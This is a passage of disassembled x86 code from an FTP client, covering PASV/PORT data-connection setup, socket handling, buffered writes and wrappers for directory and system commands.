eax, 2 jz short loc_428782 push eax add ebx, 44h push offset aInvalidDirecti ; "Invalid direction %d\n" push ebx call ds:dword_4B3A4C add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_428782: ; CODE XREF: sub_428720+3Aj ; sub_428720+3Fj mov eax, [esp+144h+arg_8] cmp eax, 41h jz short loc_4287B4 cmp eax, 49h jz short loc_4287B4 push eax add ebx, 44h push offset aInvalidModeC ; "Invalid mode %c\n" push ebx call ds:dword_4B3A4C add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_4287B4: ; CODE XREF: sub_428720+6Cj ; sub_428720+71j mov eax, [ebx+24h] mov [esp+144h+var_124], 10h cmp eax, esi jnz loc_428899 xor eax, eax push ebx mov [esp+148h+var_134], eax push 32h mov [esp+14Ch+var_130], eax push offset aPasv ; "PASV" mov [esp+150h+var_12C], eax mov word ptr [esp+150h+var_134], 2 mov [esp+150h+var_128], eax call sub_428340 add esp, 0Ch test eax, eax jz loc_428A44 lea ecx, [ebx+44h] push 28h push ecx call ds:dword_4B3AC4 add esp, 8 cmp eax, ebp jz loc_428A44 lea edx, [esp+144h+var_114] lea ecx, [esp+144h+var_118] push edx push ecx lea edx, [esp+14Ch+var_104] lea ecx, [esp+14Ch+var_108] push edx push ecx lea edx, [esp+154h+var_10C] lea ecx, [esp+154h+var_110] push edx push ecx inc eax push offset aUUUUUU ; "%u,%u,%u,%u,%u,%u" push eax call ds:dword_4B3A70 mov dl, [esp+164h+var_110] mov al, [esp+164h+var_10C] mov cl, [esp+164h+var_108] mov byte ptr [esp+164h+var_130], dl mov dl, [esp+164h+var_104] mov byte ptr [esp+164h+var_130+1], al mov al, [esp+164h+var_118] mov byte ptr [esp+164h+var_130+2], cl mov cl, [esp+164h+var_114] add esp, 20h mov byte ptr [esp+144h+var_130+3], dl mov byte ptr [esp+144h+var_134+2], al mov byte ptr [esp+144h+var_134+3], cl loc_42886D: ; CODE XREF: sub_428720+18Ej push 6 push esi push 2 call sub_430A20 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4288CB push offset aSocket ; "socket" call ds:dword_4B3A58 add esp, 4 or eax, edi pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_428899: ; CODE XREF: sub_428720+A1j mov ecx, [ebx+8] lea edx, [esp+144h+var_124] lea eax, [esp+144h+var_134] push edx push eax push ecx call sub_430A0E test eax, eax jge short loc_42886D push offset aGetsockname ; "getsockname" call ds:dword_4B3A58 add esp, 4 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_4288CB: ; CODE XREF: sub_428720+15Cj lea edx, [esp+144h+var_11C] push 4 push edx push 4 push 0FFFFh push edi call sub_430A98 cmp eax, 0FFFFFFFFh jnz short loc_4288EE push offset aSetsockopt ; "setsockopt" jmp loc_428A35 ; --------------------------------------------------------------------------- loc_4288EE: ; CODE XREF: sub_428720+1C2j lea eax, [esp+144h+var_120] push 4 push eax push 80h push 0FFFFh push edi call sub_430A98 cmp eax, 0FFFFFFFFh jnz short loc_428914 push offset aSetsockopt ; "setsockopt" jmp loc_428A35 ; --------------------------------------------------------------------------- loc_428914: ; CODE XREF: sub_428720+1E8j cmp [ebx+24h], esi jnz short loc_428939 lea ecx, [esp+144h+var_134] push 10h push ecx push edi call sub_430A14 cmp eax, 0FFFFFFFFh jnz loc_428A1B push offset aConnect ; "connect" jmp loc_428A35 ; --------------------------------------------------------------------------- loc_428939: ; CODE XREF: sub_428720+1F7j lea edx, [esp+144h+var_134] push 10h push edx push edi mov word ptr [esp+150h+var_134+2], bp call sub_430A50 cmp eax, 0FFFFFFFFh jnz short loc_428957 push offset aBind ; "bind" jmp short loc_428967 ; --------------------------------------------------------------------------- loc_428957: ; CODE XREF: sub_428720+22Ej push esi push edi call sub_430A4A test eax, eax jge short loc_428983 push offset aListen ; "listen" loc_428967: ; CODE XREF: sub_428720+235j call ds:dword_4B3A58 add esp, 4 push edi call sub_430A26 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_428983: ; CODE XREF: sub_428720+240j lea eax, [esp+144h+var_124] lea ecx, [esp+144h+var_134] push eax push ecx push edi call sub_430A0E test eax, eax jge short loc_4289A4 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_4289A4: ; CODE XREF: sub_428720+275j mov edx, [esp+144h+var_134+3] mov eax, [esp+144h+var_134+2] mov ecx, [esp+144h+var_130+3] and edx, 0FFh and eax, 0FFh push edx mov edx, [esp+148h+var_130+2] and ecx, 0FFh push eax mov eax, [esp+14Ch+var_130+1] push ecx mov ecx, [esp+150h+var_130] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+15Ch+var_100] push offset aPortDDDDDD ; "PORT %d,%d,%d,%d,%d,%d" push edx call ds:dword_4B3A4C push ebx lea eax, [esp+168h+var_100] push 32h push eax call sub_428340 add esp, 2Ch test eax, eax jnz short loc_428A1B push edi call sub_430A26 pop edi pop esi pop ebp xor eax, eax pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_428A1B: ; CODE XREF: sub_428720+209j ; sub_428720+2E6j push 144h push esi call ds:dword_4B3A64 mov esi, eax add esp, 8 cmp esi, ebp jnz short loc_428A52 push offset aCalloc ; "calloc" loc_428A35: ; CODE XREF: sub_428720+1C9j ; sub_428720+1EFj ... call ds:dword_4B3A58 add esp, 4 push edi call sub_430A26 loc_428A44: ; CODE XREF: sub_428720+2Bj ; sub_428720+D2j ... pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_428A52: ; CODE XREF: sub_428720+30Ej cmp [esp+144h+arg_8], 41h jnz short loc_428A9D push 2000h call ds:dword_4B3AB0 add esp, 4 cmp eax, ebp mov [esi+14h], eax jnz short loc_428A9D push offset aCalloc ; "calloc" call ds:dword_4B3A58 add esp, 4 push edi call sub_430A26 push esi call ds:dword_4B3AAC add esp, 4 or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx add esp, 134h retn ; --------------------------------------------------------------------------- loc_428A9D: ; CODE XREF: sub_428720+33Aj ; sub_428720+34Fj mov ecx, [esp+144h+arg_C] mov [esi+8], edi mov [esi+18h], ecx mov edx, [ebx+28h] mov [esi+28h], edx mov eax, [ebx+2Ch] mov [esi+2Ch], eax mov ecx, [ebx+34h] mov [esi+34h], ecx mov ecx, [esi+28h] mov [esi+38h], ebp mov [esi+40h], ebp mov eax, [ebx+3Ch] cmp ecx, ebp mov [esi+3Ch], eax jnz short loc_428ADD cmp [esi+2Ch], ebp jnz short loc_428ADD cmp eax, ebp jnz short loc_428ADD mov [esi+30h], ebp jmp short loc_428AE3 ; --------------------------------------------------------------------------- loc_428ADD: ; CODE XREF: sub_428720+3ADj ; sub_428720+3B2j ... mov edx, [ebx+30h] mov [esi+30h], edx loc_428AE3: ; CODE XREF: sub_428720+3BBj mov eax, [esp+144h+arg_4] pop edi mov [eax], esi pop esi pop ebp mov eax, 1 pop ebx add esp, 134h retn sub_428720 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428C00 proc near ; CODE XREF: sub_428460+1BEp var_124 = dword ptr -124h var_120 = byte ptr -120h var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = byte ptr -114h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 4 arg_4 = dword ptr 8 sub esp, 124h push ebx mov ebx, [esp+128h+arg_0] push ebp push esi mov esi, [esp+130h+arg_4] mov eax, [ebx+8] xor ebp, ebp push edi mov ecx, [esi+8] mov [esp+134h+var_FC], eax cmp ecx, eax mov [esp+134h+var_100], ecx mov [esp+134h+var_104], 2 mov [esp+134h+var_118], ebp mov [esp+134h+var_11C], 1Eh jge short loc_428C42 mov ecx, eax loc_428C42: ; CODE XREF: sub_428C00+3Ej lea eax, [esp+134h+var_11C] lea edx, [esp+134h+var_104] push eax push ebp push ebp inc ecx push edx push ecx call sub_430A56 cmp eax, 0FFFFFFFFh jnz short loc_428C98 push 100h call ds:dword_4B3A50 mov eax, [eax] push eax call ds:dword_4B3A54 add esp, 4 add esi, 44h push eax push esi call ds:dword_4B3AE0 mov ecx, [ebx+8] add esp, 0Ch push ecx call sub_430A26 pop edi mov [ebx+8], ebp pop esi pop ebp xor eax, eax pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_428C98: ; CODE XREF: sub_428C00+58j cmp eax, ebp jnz short loc_428CC5 lea edi, [esi+44h] mov ecx, 8 mov esi, offset aTimedOutWaitin ; "timed out waiting for connection" rep movsd movsb mov edx, [ebx+8] push edx call sub_430A26 pop edi mov [ebx+8], ebp pop esi pop ebp xor eax, eax pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_428CC5: ; CODE XREF: sub_428C00+9Aj mov ecx, [ebx+8] lea eax, [esp+134h+var_104] push eax push ecx call sub_430A68 test eax, eax jz short loc_428D51 mov ecx, [ebx+8] lea edx, [esp+134h+var_120] lea eax, [esp+134h+var_114] push edx push eax push ecx mov dword ptr [esp+140h+var_120], 10h call sub_430A62 mov edi, eax call ds:dword_4B3A50 mov edx, [eax] mov eax, [ebx+8] push eax mov [esp+138h+var_124], edx call sub_430A26 cmp edi, ebp jle short loc_428D20 mov [ebx+8], edi pop edi pop esi pop ebp mov eax, 1 pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_428D20: ; CODE XREF: sub_428C00+10Bj mov ecx, [esp+134h+var_124] push 100h push ecx call ds:dword_4B3A54 add esp, 4 add esi, 44h push eax push esi call ds:dword_4B3AE0 add esp, 0Ch mov [ebx+8], ebp xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_428D51: ; CODE XREF: sub_428C00+D5j mov eax, [esi+8] lea edx, [esp+134h+var_104] push edx push eax call sub_430A68 test eax, eax jz short loc_428D87 mov ecx, [ebx+8] push ecx call sub_430A26 push esi push 32h mov [ebx+8], ebp call sub_427CB0 add esp, 8 xor eax, eax pop edi pop esi pop ebp pop ebx add esp, 124h retn ; --------------------------------------------------------------------------- loc_428D87: ; CODE XREF: sub_428C00+161j mov eax, [esp+134h+var_124] pop edi pop esi pop ebp pop ebx add esp, 124h retn sub_428C00 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 70h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428E10 proc near ; CODE XREF: sub_4020A9j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 1 jz short loc_428E21 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_428E21: ; CODE XREF: sub_428E10+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_428E3D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_427DF0 add esp, 0Ch jmp short loc_428E64 ; --------------------------------------------------------------------------- loc_428E3D: ; CODE XREF: sub_428E10+17j call sub_428020 add esp, 4 cmp eax, 1 jz short loc_428E4F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_428E4F: ; CODE XREF: sub_428E10+38j mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] mov ecx, [esi+8] push 0 push edx push eax push ecx call sub_430A6E loc_428E64: ; CODE XREF: sub_428E10+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_428E70 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_428E70: ; CODE XREF: sub_428E10+59j mov ecx, [esi+38h] add ecx, edi mov [esi+38h], ecx mov edx, ecx mov ecx, [esi+30h] test ecx, ecx jz short loc_428EAF mov eax, [esi+3Ch] test eax, eax jz short loc_428EAF push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, eax pop ebx jle short loc_428EAF mov eax, [esi+34h] push eax push edx push esi call ecx add esp, 0Ch test eax, eax jnz short loc_428EA8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_428EA8: ; CODE XREF: sub_428E10+93j mov dword ptr [esi+40h], 0 loc_428EAF: ; CODE XREF: sub_428E10+6Fj ; sub_428E10+76j ... mov eax, edi pop edi pop esi retn sub_428E10 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428EF0 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push esi mov esi, [esp+4+arg_8] push edi cmp dword ptr [esi+18h], 2 jz short loc_428F01 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_428F01: ; CODE XREF: sub_428EF0+Aj mov eax, [esi+14h] push esi test eax, eax jz short loc_428F1D mov eax, [esp+0Ch+arg_4] mov ecx, [esp+0Ch+arg_0] push eax push ecx call sub_428FC0 add esp, 0Ch jmp short loc_428F3A ; --------------------------------------------------------------------------- loc_428F1D: ; CODE XREF: sub_428EF0+17j call sub_428020 mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] mov ecx, [esi+8] add esp, 4 push 0 push edx push eax push ecx call sub_430A2C loc_428F3A: ; CODE XREF: sub_428EF0+2Bj mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_428F46 pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_428F46: ; CODE XREF: sub_428EF0+4Fj mov edx, [esi+38h] mov eax, [esi+30h] add edx, edi test eax, eax mov [esi+38h], edx jz short loc_428F7C mov ecx, [esi+3Ch] test ecx, ecx jz short loc_428F7C push ebx mov ebx, [esi+40h] add ebx, edi mov [esi+40h], ebx cmp ebx, ecx pop ebx jle short loc_428F7C mov ecx, [esi+34h] push ecx push edx push esi call eax add esp, 0Ch mov dword ptr [esi+40h], 0 loc_428F7C: ; CODE XREF: sub_428EF0+63j ; sub_428EF0+6Aj ... mov eax, edi pop edi pop esi retn sub_428EF0 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_428FC0 proc near ; CODE XREF: sub_428EF0+23p ; sub_429170+28p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push ebp mov ebp, [esp+8+arg_8] push esi xor esi, esi xor al, al mov ecx, [ebp+18h] push edi cmp ecx, 2 jz short loc_428FDC pop edi pop esi pop ebp or eax, 0FFFFFFFFh pop ebx retn ; --------------------------------------------------------------------------- loc_428FDC: ; CODE XREF: sub_428FC0+12j mov ecx, [esp+10h+arg_4] mov edi, [ebp+14h] xor ebx, ebx test ecx, ecx jle loc_429104 loc_428FED: ; CODE XREF: sub_428FC0+AFj mov ecx, [esp+10h+arg_0] cmp byte ptr [ebx+ecx], 0Ah jnz short loc_42902E cmp al, 0Dh jz short loc_42902E cmp esi, 2000h jnz short loc_429029 push ebp call sub_428020 add esp, 4 test eax, eax jz short loc_42908A mov edx, [ebp+8] push 0 push esi push edi push edx call sub_430A2C mov esi, eax cmp esi, 2000h jnz short loc_429091 xor esi, esi loc_429029: ; CODE XREF: sub_428FC0+41j mov byte ptr [edi+esi], 0Dh inc esi loc_42902E: ; CODE XREF: sub_428FC0+35j ; sub_428FC0+39j cmp esi, 2000h jnz short loc_42905C push ebp call sub_428020 add esp, 4 test eax, eax jz short loc_42908A mov eax, [ebp+8] push 0 push esi push edi push eax call sub_430A2C mov esi, eax cmp esi, 2000h jnz short loc_4290B1 xor esi, esi loc_42905C: ; CODE XREF: sub_428FC0+74j mov ecx, [esp+10h+arg_0] inc esi mov al, [ebx+ecx] mov ecx, [esp+10h+arg_4] mov [edi+esi-1], al inc ebx cmp ebx, ecx jl loc_428FED test esi, esi jz loc_429104 push ebp call sub_428020 add esp, 4 test eax, eax jnz short loc_4290D1 loc_42908A: ; CODE XREF: sub_428FC0+4Ej ; sub_428FC0+81j pop edi pop esi mov eax, ebx pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_429091: ; CODE XREF: sub_428FC0+65j call ds:dword_4B3A50 mov edx, [eax] push edx push esi push offset aNet_write1Retu ; "net_write(1) returned %d, errno = %d\n" call ds:dword_4B3A48 add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4290B1: ; CODE XREF: sub_428FC0+98j call ds:dword_4B3A50 mov eax, [eax] push eax push esi push offset aNet_write2Retu ; "net_write(2) returned %d, errno = %d\n" call ds:dword_4B3A48 add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_4290D1: ; CODE XREF: sub_428FC0+C8j mov ecx, [ebp+8] push 0 push esi push edi push ecx call sub_430A2C mov edi, eax cmp edi, esi jz short loc_429104 call ds:dword_4B3A50 mov edx, [eax] push edx push edi push offset aNet_write3Retu ; "net_write(3) returned %d, errno = %d\n" call ds:dword_4B3A48 add esp, 0Ch or eax, 0FFFFFFFFh pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- loc_429104: ; CODE XREF: sub_428FC0+27j ; sub_428FC0+B7j ... mov eax, [esp+10h+arg_4] pop edi pop esi pop ebp pop ebx retn sub_428FC0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_429170 proc near ; CODE XREF: sub_401ADCj arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push edi mov eax, [esi+18h] sub eax, 0 jz short loc_4291EB dec eax jz short loc_4291A0 dec eax jz short loc_42918C loc_429184: ; CODE XREF: sub_429170+64j pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- loc_42918C: ; CODE XREF: sub_429170+12j mov eax, [esi+14h] test eax, eax jz short loc_4291A0 push esi push 0 push 0 call sub_428FC0 add esp, 0Ch loc_4291A0: ; CODE XREF: sub_429170+Fj ; sub_429170+21j mov eax, [esi+14h] push ebx mov ebx, ds:dword_4B3AAC test eax, eax jz short loc_4291B4 push eax call ebx add esp, 4 loc_4291B4: ; CODE XREF: sub_429170+3Cj mov eax, [esi+8] push 2 push eax call sub_430AAA mov ecx, [esi+8] push ecx call sub_430A26 mov edi, [esi+1Ch] push esi call ebx add esp, 4 test edi, edi pop ebx jz short loc_429184 push edi push 32h mov dword ptr [edi+20h], 0 call sub_427CB0 add esp, 8 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4291EB: ; CODE XREF: sub_429170+Cj mov eax, [esi+20h] test eax, eax jz short loc_429202 push esi mov dword ptr [esi+1Ch], 0 call sub_401ADC add esp, 4 loc_429202: ; CODE XREF: sub_429170+80j mov edx, [esi+8] push edx call sub_430A26 push esi call ds:dword_4B3AAC add esp, 4 xor eax, eax pop edi pop esi retn sub_429170 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_429250: ; CODE XREF: _294ADE7B:00401BC2j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 6 pop edi cmp ecx, 100h jbe short loc_429279 add esp, 100h retn ; --------------------------------------------------------------------------- loc_429279: ; CODE XREF: _294ADE7B:00429270j push edx lea eax, [esp+4] push offset aSiteS ; "SITE %s" push eax call ds:dword_4B3A4C mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_428340 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4292D0: ; CODE XREF: _294ADE7B:00401631j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset aSyst ; "SYST" call sub_428340 add esp, 0Ch test eax, eax jnz short loc_4292F1 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_4292F1: ; CODE XREF: _294ADE7B:004292ECj mov eax, [esp+10h] lea ecx, [edi+48h] lea edx, [eax-1] test edx, edx jz short loc_42930C loc_4292FF: ; CODE XREF: _294ADE7B:0042930Aj mov al, [ecx] cmp al, 20h jz short loc_42930C mov [esi], al inc esi inc ecx dec edx jnz short loc_4292FF loc_42930C: ; CODE XREF: _294ADE7B:004292FDj ; _294ADE7B:00429303j mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 9 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429340: ; CODE XREF: _294ADE7B:004020AEj mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_429369 add esp, 100h retn ; --------------------------------------------------------------------------- loc_429369: ; CODE XREF: _294ADE7B:00429360j push edx lea eax, [esp+4] push offset aMkdS ; "MKD %s" push eax call ds:dword_4B3A4C mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_428340 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4293C0: ; CODE XREF: _294ADE7B:004020B8j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_4293E9 add esp, 100h retn ; --------------------------------------------------------------------------- loc_4293E9: ; CODE XREF: _294ADE7B:004293E0j push edx lea eax, [esp+4] push offset aCwdS ; "CWD %s" push eax call ds:dword_4B3A4C mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_428340 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429440: ; CODE XREF: _294ADE7B:004016E0j mov eax, [esp+4] push eax push 32h push offset aCdup ; "CDUP" call sub_428340 add esp, 0Ch neg eax sbb eax, eax neg eax retn ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429470: ; CODE XREF: _294ADE7B:00402063j mov edx, [esp+4] sub esp, 100h or ecx, 0FFFFFFFFh xor eax, eax push edi mov edi, edx repne scasb not ecx add ecx, 5 pop edi cmp ecx, 100h jbe short loc_429499 add esp, 100h retn ; --------------------------------------------------------------------------- loc_429499: ; CODE XREF: _294ADE7B:00429490j push edx lea eax, [esp+4] push offset aRmdS ; "RMD %s" push eax call ds:dword_4B3A4C mov ecx, [esp+114h] lea edx, [esp+0Ch] push ecx push 32h push edx call sub_428340 add esp, 18h neg eax sbb eax, eax neg eax add esp, 100h retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_4294F0: ; CODE XREF: _294ADE7B:004015E1j push esi mov esi, [esp+8] push edi mov edi, [esp+14h] push edi push 32h push offset off_43F97C call sub_428340 add esp, 0Ch test eax, eax jnz short loc_429511 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_429511: ; CODE XREF: _294ADE7B:0042950Cj add edi, 44h push 22h push edi call ds:dword_4B3AC4 add esp, 8 test eax, eax jnz short loc_429527 pop edi pop esi retn ; --------------------------------------------------------------------------- loc_429527: ; CODE XREF: _294ADE7B:00429522j mov ecx, [esp+10h] inc eax lea edx, [ecx-1] test edx, edx jz short loc_429545 loc_429533: ; CODE XREF: _294ADE7B:00429543j mov cl, [eax] test cl, cl jz short loc_429545 cmp cl, 22h jz short loc_429545 mov [esi], cl inc esi inc eax dec edx jnz short loc_429533 loc_429545: ; CODE XREF: _294ADE7B:00429531j ; _294ADE7B:00429537j ... mov byte ptr [esi], 0 pop edi mov eax, 1 pop esi retn ; --------------------------------------------------------------------------- db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_429570: ; CODE XREF: _294ADE7B:0040110Ej mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 1 push eax push ecx push edx call sub_4295A0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4295A0 proc near ; CODE XREF: _294ADE7B:00429583p ; _294ADE7B:00429803p ... var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push ecx mov eax, [esp+4+arg_0] push ebx push ebp xor ebp, ebp push esi push edi mov edi, [esp+14h+arg_10] cmp eax, ebp mov [esp+14h+var_4], 1 jz short loc_42962A mov esi, [esp+14h+arg_C] mov cx, ds:word_43F9BC cmp esi, 4 mov word ptr [esp+14h+arg_10], cx mov word ptr [esp+14h+arg_10+2], bp jnz short loc_4295DA mov byte ptr [esp+14h+arg_10], 72h loc_4295DA: ; CODE XREF: sub_4295A0+33j cmp edi, 49h jnz short loc_4295E4 mov byte ptr [esp+14h+arg_10+1], 62h loc_4295E4: ; CODE XREF: sub_4295A0+3Dj lea edx, [esp+14h+arg_10] push edx push eax call ds:dword_4B3A90 mov ebx, eax add esp, 8 cmp ebx, ebp jnz short loc_429644 push 100h call ds:dword_4B3A50 mov eax, [eax] push eax call ds:dword_4B3A54 mov ecx, [esp+1Ch+arg_8] add esp, 4 add ecx, 44h push eax push ecx call ds:dword_4B3AE0 add esp, 0Ch xor eax, eax pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_42962A: ; CODE XREF: sub_4295A0+19j mov esi, [esp+14h+arg_C] cmp esi, 4 jnz short loc_42963B mov ebx, ds:dword_4B3A68 jmp short loc_429644 ; --------------------------------------------------------------------------- loc_42963B: ; CODE XREF: sub_4295A0+91j mov edx, ds:dword_4B3A68 lea ebx, [edx+20h] loc_429644: ; CODE XREF: sub_4295A0+57j ; sub_4295A0+99j mov ecx, [esp+14h+arg_8] mov edx, [esp+14h+arg_4] lea eax, [esp+14h+arg_C] push eax push ecx push edi push esi push edx call sub_401E0B add esp, 14h test eax, eax jnz short loc_429667 pop edi pop esi pop ebp pop ebx pop ecx retn ; --------------------------------------------------------------------------- loc_429667: ; CODE XREF: sub_4295A0+BFj push 2000h call ds:dword_4B3AB0 add esp, 4 cmp esi, 4 mov edi, eax jnz short loc_4296DD mov ebp, ds:dword_4B3A84 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jle loc_429733 loc_42969A: ; CODE XREF: sub_4295A0+11Fj mov eax, [esp+14h+arg_C] push eax push esi push edi call sub_402059 add esp, 0Ch cmp eax, esi jl short loc_4296C3 push ebx push 2000h push 1 push edi call ebp mov esi, eax add esp, 10h test esi, esi jg short loc_42969A jmp short loc_429733 ; --------------------------------------------------------------------------- loc_4296C3: ; CODE XREF: sub_4295A0+10Bj push eax push esi push offset aShortWritePass ; "short write: passed %d, wrote %d\n" call ds:dword_4B3A48 add esp, 0Ch mov [esp+14h+var_4], 0 jmp short loc_429733 ; --------------------------------------------------------------------------- loc_4296DD: ; CODE XREF: sub_4295A0+DAj mov ecx, [esp+14h+arg_C] push ecx push 2000h push edi call sub_4020A9 add esp, 0Ch cmp eax, ebp jle short loc_429733 mov esi, ds:dword_4B3A78 loc_4296FA: ; CODE XREF: sub_4295A0+17Dj push ebx push eax push 1 push edi call esi add esp, 10h test eax, eax jbe short loc_429721 mov edx, [esp+14h+arg_C] push edx push 2000h push edi call sub_4020A9 add esp, 0Ch cmp eax, ebp jg short loc_4296FA jmp short loc_429733 ; --------------------------------------------------------------------------- loc_429721: ; CODE XREF: sub_4295A0+166j push offset aLocalfileWrite ; "localfile write" call ds:dword_4B3A58 add esp, 4 mov [esp+14h+var_4], ebp loc_429733: ; CODE XREF: sub_4295A0+F4j ; sub_4295A0+121j ... push edi call ds:dword_4B3AAC push ebx call ds:dword_4B3A44 mov eax, [esp+1Ch+arg_0] add esp, 8 test eax, eax jz short loc_429756 push ebx call ds:dword_4B3A94 add esp, 4 loc_429756: ; CODE XREF: sub_4295A0+1AAj mov eax, [esp+14h+arg_C] push eax call sub_401ADC mov eax, [esp+18h+var_4] add esp, 4 pop edi pop esi pop ebp pop ebx pop ecx retn sub_4295A0 endp ; --------------------------------------------------------------------------- db 3 dup(90h) db 80h dup(0CCh) ; --------------------------------------------------------------------------- loc_4297F0: ; CODE XREF: _294ADE7B:00401613j mov eax, [esp+0Ch] mov ecx, [esp+8] mov edx, [esp+4] push 41h push 2 push eax push ecx push edx call sub_4295A0 add esp, 14h retn ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_429820: ; CODE XREF: _294ADE7B:00401C08j sub esp, 108h or ecx, 0FFFFFFFFh xor eax, eax push ebx mov ebx, [esp+110h] push ebp push esi push edi mov edi, ebx repne scasb not ecx add ecx, 6 mov ebp, 1 cmp ecx, 100h jbe short loc_429857 pop edi pop esi pop ebp pop ebx add esp, 108h retn ; --------------------------------------------------------------------------- loc_429857: ; CODE XREF: _294ADE7B:0042984Aj movsx eax, byte ptr [esp+124h] mov edi, ds:dword_4B3A4C push eax lea ecx, [esp+1Ch] push offset dword_43F7C4 push ecx call edi mov esi, [esp+134h] lea edx, 